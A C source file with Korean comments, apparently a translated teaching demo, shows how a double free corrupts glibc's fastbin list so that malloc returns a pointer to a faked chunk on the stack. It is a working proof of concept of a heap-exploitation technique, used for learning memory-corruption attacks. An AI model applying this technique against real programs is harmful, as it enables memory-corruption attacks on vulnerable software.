1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #include <stdio.h> #include <stdlib.h>
int main() { fprintf(stderr, "malloc을 tricking하는 fastbin_dup.c의 확장적 부분을 설명한다.\n" "이번에는 포인터를 조작된 위치로 반환한다.(이 경우엔 stack)\n");
unsigned long long stack_var;
fprintf(stderr, "malloc이 반환해야 할 주소: %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "버퍼를 3개 할당한다.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "malloc a(8): %p\n", a); fprintf(stderr, "malloc b(8): %p\n", b); fprintf(stderr, "malloc c(8): %p\n", c);
fprintf(stderr, "-------free(a)-------\n"); free(a);
fprintf(stderr, "-------free(b)-------\n"); free(b);
fprintf(stderr, "-------free(a)-------\n"); free(a);
fprintf(stderr, "free list: [ %p, %p, %p ]\n" "이제 %p(a)에 있는 데이터를 수정하여 공격할 것이다.\n", a, b, a, a); unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "free list: [ %p ]\n", a); fprintf(stderr, "이제 우리는 이게 free list의 head로 남아있는 동안 %p에 접근이 가능하다.\n" "그래서 stack에 fake free size(0x20)를 써준다.\n" "그러면 malloc은 거기에 free chunk가 있다고 생각할 것이고\n" "그곳으로 포인터를 반환할 것이다.\n", a); stack_var = 0x20;
fprintf(stderr, "이제 %p에 있는 데이터의 처음 8바이트를 overwrite하여 0x20 바로 앞에 가리키도록 한다.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, free list에 stack 주소를 넣는다.\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
|